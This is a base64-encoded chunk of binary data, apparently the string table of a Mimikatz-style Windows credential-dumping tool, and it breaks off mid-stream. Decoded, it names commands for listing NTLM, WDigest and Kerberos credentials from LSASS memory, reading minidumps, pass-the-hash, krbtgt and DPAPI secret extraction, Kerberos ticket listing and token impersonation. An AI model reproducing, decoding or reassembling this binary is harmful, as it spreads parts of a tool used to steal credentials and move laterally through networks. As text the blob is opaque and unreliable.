MAB4ACUAMAA4AHgACgAAAAAACQAJAFUAcwBlAHIAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAlAHMAXAAlAHMAAAAAAAAAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFwATABvAGcAbwBuAFUASQBcAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkAAAAAABiAGcAUABhAHQAaAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdABfAGQAZQBzAGMASQB0AGUAbQBfAFAASQBOAEwAbwBnAG8AbgBPAHIAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQATwByAEIAaQBvAG0AZQB0AHIAaQBjACAAOwAgAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAMgAgADoAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0AF8AZABlAHMAYwBJAHQAZQBtAF8AUABJAE4ATABvAGcAbwBuAE8AcgBQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZABPAHIAQgBpAG8AbQBlAHQAcgBpAGMAIAA7ACAAUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIAAxACAAOgAgACUAMAA4AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAXwBkAGUAcwBjAEkAdABlAG0AXwBQAEkATgBMAG8AZwBvAG4ATwByAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkAE8AcgBCAGkAbwBtAGUAdAByAGkAYwAgADsAIABSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgAFMASQBEACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdABfAGQAZQBzAGMASQB0AGUAbQBfAFAASQBOAEwAbwBnAG8AbgBPAHIAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQATwByAEIAaQBvAG0AZQB0AHIAaQBjACAAOwAgAEMAbwBuAHYAZQByAHQAUwBpAGQAVABvAFMAdAByAGkAbgBnAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAXwBkAGUAcwBjAEkAdABlAG0AXwBQAEkATgBMAG8AZwBvAG4ATwByAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkAE8AcgBCAGkAbwBtAGUAdAByAGkAYwAgADsAIABSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkACAAOgAgACUAMAA4AHgACgAAAAAACQAJAFAAYQBzAHMAdwBvAHIAZAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAJAAkAUABJAE4AIABDAG8AZABlACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADQAaAB1AAoAAAAAAAkACQBCAGEAYwBrAGcAcgBvAHUAbgBkACAAcABhAHQAaAAgADoAIAAlAHMACgAAAAkACQBQAGkAYwB0AHUAcgBlACAAcABhAHMAcwB3AG8AcgBkACAAKABnAHIAaQBkACAAaQBzACAAMQA1ADAAKgAxADAAMAApAAoAAAAJAAkAIABbACUAdQBdACAAAAAAAHAAbwBpAG4AdAAgACAAKAB4ACAAPQAgACUAMwB1ACAAOwAgAHkAIAA9ACAAJQAzAHUAKQAAAAAAYwBsAG8AYwBrAHcAaQBzAGUAAABhAG4AdABpAGMAbABvAGMAawB3AGkAcwBlAAAAYwBpAHIAYwBsAGUAIAAoAHgAIAA9ACAAJQAzAHUAIAA7ACAAeQAgAD0AIAAlADMAdQAgADsAIAByACAAPQAgACUAMwB1ACkAIAAtACAAJQBzAAAAAAAAAGwAaQBuAGUAIAAgACAAKAB4ACAAPQAgACUAMwB1ACAAOwAgAHkAIAA9ACAAJQAzAHUAKQAgAC0APgAgACgAeAAgAD0AIAAlADMAdQAgADsAIAB5ACAAPQAgACUAMwB1ACkAAAAlAHUACgAAAAkACQBQAHIAbwBwAGUAcgB0AHkAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAJQAuACoAcwBcAAAAJQAuACoAcwAAAAAAdABvAGQAbwAgAD8ACgAAAAkATgBhAG0AZQAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAAHQAZQBtAHAAIAB2AGEAdQBsAHQAAAAAAAkAUABhAHQAaAAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAACUAaAB1AAAAJQB1AAAAAABbAFQAeQBwAGUAIAAlAHUAXQAgAAAAAABnAGUAbgBlAHIAaQBjAAAAZABvAG0AYQBpAG4AXwBwAGEAcwBzAHcAbwByAGQAAABkAG8AbQBhAGkAbgBfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQAAAAAAZABvAG0AYQBpAG4AXwB2AGkAcwBpAGIAbABlAF8AcABhAHMAcwB3AG8AcgBkAAAAZwBlAG4AZQByAGkAYwBfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQAAAGQAbwBtAGEAaQBuAF8AZQB4AHQAZQBuAGQAZQBkAAAAbgBvAG4AZQAAAAAAcwBlAHMAcwBpAG8AbgAAAGUAbgB0AGUAcgBwAHIAaQBzAGUAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGMAcgBlAGQAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AYwByAGUAZAAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABWAGUAcgB5AEIAYQBzAGkAYwBNAG8AZAB1AGwAZQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGMAcgBlAGQAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGMAcgBlAGQAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AZwBlAHQAVQBuAGkAcQB1AGUARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAPwAgACgAUABlAHIAcwBpAHMAdAAgAD4AIABtAGEAeABpAG0AdQBtACkAAAA/ACAAKAB0AHkAcABlACAAPgAgAEMAUgBFAEQAXwBUAFkAUABFAF8ATQBBAFgASQBNAFUATQApAAAAAAA8AE4AVQBMAEwAPgAAAAAAVABhAHIAZwBlAHQATgBhAG0AZQAgADoAIAAlAHMAIAAvACAAJQBzAAoAVQBzAGUAcgBOAGEAbQBlACAAIAAgADoAIAAlAHMACgBDAG8AbQBtAGUAbgB0ACAAIAAgACAAOgAgACUAcwAKAFQAeQBwAGUAIAAgACAAIAAgACAAIAA6ACAAJQB1ACAALQAgACUAcwAKAFAAZQByAHMAaQBzAHQAIAAgACAAIAA6ACAAJQB1ACAALQAgACUAcwAKAEYAbABhAGcAcwAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAKAEEAdAB0AHIAaQBiAHUAdABlAHMAIAA6AAoAAAAAAEMAcgBlAGQAZQBuAHQAaQBhAGwAIAA6ACAAAABpAG4AZgBvAHMAAABtAGkAbgBlAHMAdwBlAGUAcABlAHIAAABNAGkAbgBlAFMAdwBlAGUAcABlAHIAIABtAG8AZAB1AGwAZQAAAAAAbQBpAG4AZQBzAHcAZQBlAHAAZQByAC4AZQB4AGUAAABGAGkAZQBsAGQAIAA6ACAAJQB1ACAAcgAgAHgAIAAlAHUAIABjAAoATQBpAG4AZQBzACAAOgAgACUAdQAKAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABNAGUAbQBvAHIAeQAgAEMAIAAoAFIAIAA9ACAAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAE0AZQBtAG8AcgB5ACAAUgAKAAAAAAAlAEMAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAEIAbwBhAHIAZAAgAGMAbwBwAHkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAEcAYQBtAGUAIABjAG8AcAB5AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABHACAAYwBvAHAAeQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAARwBsAG8AYgBhAGwAIABjAG8AcAB5AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAAUwBlAGEAcgBjAGgAIABpAHMAIABLAE8ACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAATQBpAG4AZQBzAHcAZQBlAHAAZQByACAATgBUACAASABlAGEAZABlAHIAcwAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAATQBpAG4AZQBzAHcAZQBlAHAAZQByACAAUABFAEIACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAATgBvACAATQBpAG4AZQBTAHcAZQBlAHAAZQByACAAaQBuACAAbQBlAG0AbwByAHkAIQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAXwBwAGEAcgBzAGUARgBpAGUAbABkACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAcgBlAGEAZAAgAGUAbABlAG0AZQBuAHQAcwAgAGYAcgBvAG0AIABjAG8AbAB1AG0AbgA6ACAAJQB1AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwBfAHAAYQByAHMAZQBGAGkAZQBsAGQAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIAByAGUAYQBkACAAcgBlAGYAZQByAGUAbgBjAGUAcwAgAGYAcgBvAG0AIABjAG8AbAB1AG0AbgA6ACAAJQB1AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzAF8AcABhAHIAcwBlAEYAaQBlAGwAZAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAHIAZQBhAGQAIAByAGUAZgBlAHIAZQBuAGMAZQBzAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzAF8AcABhAHIAcwBlAEYAaQBlAGwAZAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAHIAZQBhAGQAIABmAGkAcgBzAHQAIABlAGwAZQBtAGUAbgB0AAoAAABsAHMAYQBzAHIAdgAAAAAATHNhSUNhbmNlbE5vdGlmaWNhdGlvbgAATHNhSVJlZ2lzdGVyTm90aWZpY2F0aW9uAAAAAGIAYwByAHkAcAB0AAAAAABCQ3J5cHRPcGVuQWxnb3JpdGhtUHJvdmlkZXIAQkNyeXB0U2V0UHJvcGVydHkAAABCQ3J5cHRHZXRQcm9wZXJ0eQAAAEJDcnlwdEdlbmVyYXRlU3ltbWV0cmljS2V5AABCQ3J5cHRFbmNyeXB0AAAAQkNyeXB0RGVjcnlwdAAAAEJDcnlwdERlc3Ryb3lLZXkAAAAAQkNyeXB0Q2xvc2VBbGdvcml0aG1Qcm92aWRlcgAAAAAzAEQARQBTAAAAAABDAGgAYQBpAG4AaQBuAGcATQBvAGQAZQBDAEIAQwAAAEMAaABhAGkAbgBpAG4AZwBNAG8AZABlAAAAAABPAGIAagBlAGMAdABMAGUAbgBnAHQAaAAAAAAAQQBFAFMAAABDAGgAYQBpAG4AaQBuAGcATQBvAGQAZQBDAEYAQgAAAG0AcwB2AAAATABpAHMAdABzACAATABNACAAJgAgAE4AVABMAE0AIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAB3AGQAaQBnAGUAcwB0AAAATABpAHMAdABzACAAVwBEAGkAZwBlAHMAdAAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAEwAaQBzAHQAcwAgAEsAZQByAGIAZQByAG8AcwAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAdABzAHAAawBnAAAATABpAHMAdABzACAAVABzAFAAawBnACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAbABpAHYAZQBzAHMAcAAAAEwAaQBzAHQAcwAgAEwAaQB2AGUAUwBTAFAAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAABzAHMAcAAAAEwAaQBzAHQAcwAgAFMAUwBQACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAbABvAGcAbwBuAFAAYQBzAHMAdwBvAHIAZABzAAAAAABMAGkAcwB0AHMAIABhAGwAbAAgAGEAdgBhAGkAbABhAGIAbABlACAAcAByAG8AdgBpAGQAZQByAHMAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAAAAAUwB3AGkAdABjAGgAIAAoAG8AcgAgAHIAZQBpAG4AaQB0ACkAIAB0AG8AIABMAFMAQQBTAFMAIABwAHIAbwBjAGUAcwBzACAAIABjAG8AbgB0AGUAeAB0AAAAAABtAGkAbgBpAGQAdQBtAHAAAAAAAFMAdwBpAHQAYwBoACAAKABvAHIAIAByAGUAaQBuAGkAdAApACAAdABvACAATABTAEEAUwBTACAAbQBpAG4AaQBkAHUAbQBwACAAYwBvAG4AdABlAHgAdAAAAAAAcAB0AGgAAABQAGEAcwBzAC0AdABoAGUALQBoAGEAcwBoAAAAawByAGIAdABnAHQAIQAAAGQAcABhAHAAaQBzAHkAcwB0AGUAbQAAAEQAUABBAFAASQBfAFMAWQBTAFQARQBNACAAcwBlAGMAcgBlAHQAAAB0AGkAYwBrAGUAdABzAAAATABpAHMAdAAgAEsAZQByAGIAZQByAG8AcwAgAHQAaQBjAGsAZQB0AHMAAABlAGsAZQB5AHMAAABMAGkAcwB0ACAASwBlAHIAYgBlAHIAbwBzACAARQBuAGMAcgB5AHAAdABpAG8AbgAgAEsAZQB5AHMAAABMAGkAcwB0ACAAQwBhAGMAaABlAGQAIABNAGEAcwB0AGUAcgBLAGUAeQBzAAAAAABjAHIAZQBkAG0AYQBuAAAATABpAHMAdAAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAE0AYQBuAGEAZwBlAHIAAAAAAHMAZQBrAHUAcgBsAHMAYQAAAAAAUwBlAGsAdQByAEwAUwBBACAAbQBvAGQAdQBsAGUAAAAAAAAAUwBvAG0AZQAgAGMAbwBtAG0AYQBuAGQAcwAgAHQAbwAgAGUAbgB1AG0AZQByAGEAdABlACAAYwByAGUAZABlAG4AdABpAGEAbABzAC4ALgAuAAAAUwB3AGkAdABjAGgAIAB0AG8AIABQAFIATwBDAEUAUwBTAAoAAAAAAFMAdwBpAHQAYwBoACAAdABvACAATQBJAE4ASQBEAFUATQBQACAAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBtAGkAbgBpAGQAdQBtAHAAIAA7ACAAPABtAGkAbgBpAGQAdQBtAHAAZgBpAGwAZQAuAGQAbQBwAD4AIABhAHIAZwB1AG0AZQBuAHQAIABpAHMAIABtAGkAcwBzAGkAbgBnAAoAAAAAAAAAAABPAHAAZQBuAGkAbgBnACAAOgAgACcAJQBzACcAIABmAGkAbABlACAAZgBvAHIAIABtAGkAbgBpAGQAdQBtAHAALgAuAC4ACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABMAFMAQQBTAFMAIABwAHIAbwBjAGUAcwBzACAAbgBvAHQAIABmAG8AdQBuAGQAIAAoAD8AKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AaQBuAGkAZAB1AG0AcAAgAHAASQBuAGYAbwBzAC0APgBNAGEAagBvAHIAVgBlAHIAcwBpAG8AbgAgACgAJQB1ACkAIAAhAD0AIABNAEkATQBJAEsAQQBUAFoAXwBOAFQAXwBNAEEASgBPAFIAXwBWAEUAUgBTAEkATwBOACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AaQBuAGkAZAB1AG0AcAAgAHAASQBuAGYAbwBzAC0APgBQAHIAbwBjAGUAcwBzAG8AcgBBAHIAYwBoAGkAdABlAGMAdAB1AHIAZQAgACgAJQB1ACkAIAAhAD0AIABQAFIATwBDAEUAUwBTAE8AUgBfAEEAUgBDAEgASQBUAEUAQwBUAFUAUgBFAF8ASQBOAFQARQBMACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AaQBuAGkAZAB1AG0AcAAgAHcAaQB0AGgAbwB1AHQAIABTAHkAcwB0AGUAbQBJAG4AZgBvAFMAdAByAGUAYQBtACAAKAA/ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAASwBlAHkAIABpAG0AcABvAHIAdAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATABvAGcAbwBuACAAbABpAHMAdAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATQBvAGQAdQBsAGUAcwAgAGkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATQBlAG0AbwByAHkAIABvAHAAZQBuAGkAbgBnAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABIAGEAbgBkAGwAZQAgAG8AbgAgAG0AZQBtAG8AcgB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAEwAbwBjAGEAbAAgAEwAUwBBACAAbABpAGIAcgBhAHIAeQAgAGYAYQBpAGwAZQBkAAoAAAAAAAkAJQBzACAAOgAJAAAAAABVAG4AZABlAGYAaQBuAGUAZABMAG8AZwBvAG4AVAB5AHAAZQAAAAAAVQBuAGsAbgBvAHcAbgAgACEAAABJAG4AdABlAHIAYQBjAHQAaQB2AGUAAABOAGUAdAB3AG8AcgBrAAAAQgBhAHQAYwBoAAAAUwBlAHIAdgBpAGMAZQAAAFAAcgBvAHgAeQAAAFUAbgBsAG8AYwBrAAAAAABOAGUAdAB3AG8AcgBrAEMAbABlAGEAcgB0AGUAeAB0AAAAAABOAGUAdwBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAAFIAZQBtAG8AdABlAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAAAEMAYQBjAGgAZQBkAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAAAEMAYQBjAGgAZQBkAFIAZQBtAG8AdABlAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAAAEMAYQBjAGgAZQBkAFUAbgBsAG8AYwBrAAAAAAAKAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgAgAEkAZAAgADoAIAAlAHUAIAA7ACAAJQB1ACAAKAAlADAAOAB4ADoAJQAwADgAeAApAAoAUwBlAHMAcwBpAG8AbgAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAcwAgAGYAcgBvAG0AIAAlAHUACgBVAHMAZQByACAATgBhAG0AZQAgACAAIAAgACAAIAAgACAAIAA6ACAAJQB3AFoACgBEAG8AbQBhAGkAbgAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQB3AFoACgBMAG8AZwBvAG4AIABTAGUAcgB2AGUAcgAgACAAIAAgACAAIAA6ACAAJQB3AFoACgAAAAAATABvAGcAbwBuACAAVABpAG0AZQAgACAAIAAgACAAIAAgACAAOgAgAAAAAABTAEkARAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAFAAcgBlAHYAaQBvAHUAcwAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBrAHIAYgB0AGcAdAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGYAaQBuAGQAIABLAEQAQwAgAHAAYQB0AHQAZQByAG4AIABpAG4AIABMAFMAQQBTAFMAIABtAGUAbQBvAHIAeQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGsAcgBiAHQAZwB0ACAAOwAgAEsARABDACAAcwBlAHIAdgBpAGMAZQAgAG4AbwB0ACAAaQBuACAATABTAEEAUwBTACAAbQBlAG0AbwByAHkACgAAAAoAJQBzACAAawByAGIAdABnAHQAOgAgAAAAAAAlAHUAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMACgAAAAkAIAAqACAAJQBzACAAOgAgAAAARABQAEEAUABJAF8AUwBZAFMAVABFAE0ACgAAAGYAdQBsAGwAOgAgAAAAAAAKAG0ALwB1ACAAOgAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AZABwAGEAcABpAF8AcwB5AHMAdABlAG0AIAA7ACAATgBvAHQAIABpAG4AaQB0AGkAYQBsAGkAegBlAGQAIQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGQAcABhAHAAaQBfAHMAeQBzAHQAZQBtACAAOwAgAFAAYQB0AHQAZQByAG4AIABuAG8AdAAgAGYAbwB1AG4AZAAgAGkAbgAgAEQAUABBAFAASQAgAHMAZQByAHYAaQBjAGUACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AZABwAGEAcABpAF8AcwB5AHMAdABlAG0AIAA7ACAARABQAEEAUABJACAAcwBlAHIAdgBpAGMAZQAgAG4AbwB0ACAAaQBuACAATABTAEEAUwBTACAAbQBlAG0AbwByAHkACgAAAGkAbQBwAGUAcgBzAG8AbgBhAHQAZQAAAHIAdQBuAAAAeQBlAHMAAABuAG8AAAAAAHUAcwBlAHIACQA6ACAAJQBzAAoAZABvAG0AYQBpAG4ACQA6ACAAJQBzAAoAcAByAG8AZwByAGEAbQAJADoAIAAlAHMACgBpAG0AcABlAHIAcwAuAAkAOgAgACUAcwAKAAAAAABBAEUAUwAxADIAOAAJADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMQAyADgAIABrAGUAeQAgAGwAZQBuAGcAdABoACAAbQB1AHMAdAAgAGIAZQAgADMAMgAgACgAMQA2ACAAYgB5AHQAZQBzACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMQAyADgAIABrAGUAeQAgAG8AbgBsAHkAIABzAHUAcABwAG8AcgB0AGUAZAAgAGYAcgBvAG0AIABXAGkAbgBkAG8AdwBzACAAOAAuADEAIAAoAG8AcgAgADcALwA4ACAAdwBpAHQAaAAgAGsAYgAyADgANwAxADkAOQA3ACkACgAAAEEARQBTADIANQA2AAkAOgAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMgA1ADYAIABrAGUAeQAgAGwAZQBuAGcAdABoACAAbQB1AHMAdAAgAGIAZQAgADYANAAgACgAMwAyACAAYgB5AHQAZQBzACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMgA1ADYAIABrAGUAeQAgAG8AbgBsAHkAIABzAHUAcABwAG8AcgB0AGUAZAAgAGYAcgBvAG0AIABXAGkAbgBkAG8AdwBzACAAOAAuADEAIAAoAG8AcgAgADcALwA4ACAAdwBpAHQAaAAgAGsAYgAyADgANwAxADkAOQA3ACkACgAAAE4AVABMAE0ACQA6ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAG4AdABsAG0AIABoAGEAcwBoAC8AcgBjADQAIABrAGUAeQAgAGwAZQBuAGcAdABoACAAbQB1AHMAdAAgAGIAZQAgADMAMgAgACgAMQA2ACAAYgB5AHQAZQBzACkACgAAACAAIAB8ACAAIABQAEkARAAgACAAJQB1AAoAIAAgAHwAIAAgAFQASQBEACAAIAAlAHUACgAAAAAAIAAgAHwAIAAgAEwAVQBJAEQAIAAlAHUAIAA7ACAAJQB1ACAAKAAlADAAOAB4ADoAJQAwADgAeAApAAoAAAAAACAAIABcAF8AIABtAHMAdgAxAF8AMAAgACAAIAAtACAAAAAAACAAIABcAF8AIABrAGUAcgBiAGUAcgBvAHMAIAAtACAAAAAAACoAKgAgAFQAbwBrAGUAbgAgAEkAbQBwAGUAcgBzAG8AbgBhAHQAaQBvAG4AIAAqACoACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABTAGUAdABUAGgAcgBlAGEAZABUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAARAB1AHAAbABpAGMAYQB0AGUAVABvAGsAZQBuAEUAeAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAEcAZQB0AFQAbwBrAGUAbgBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwBUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAg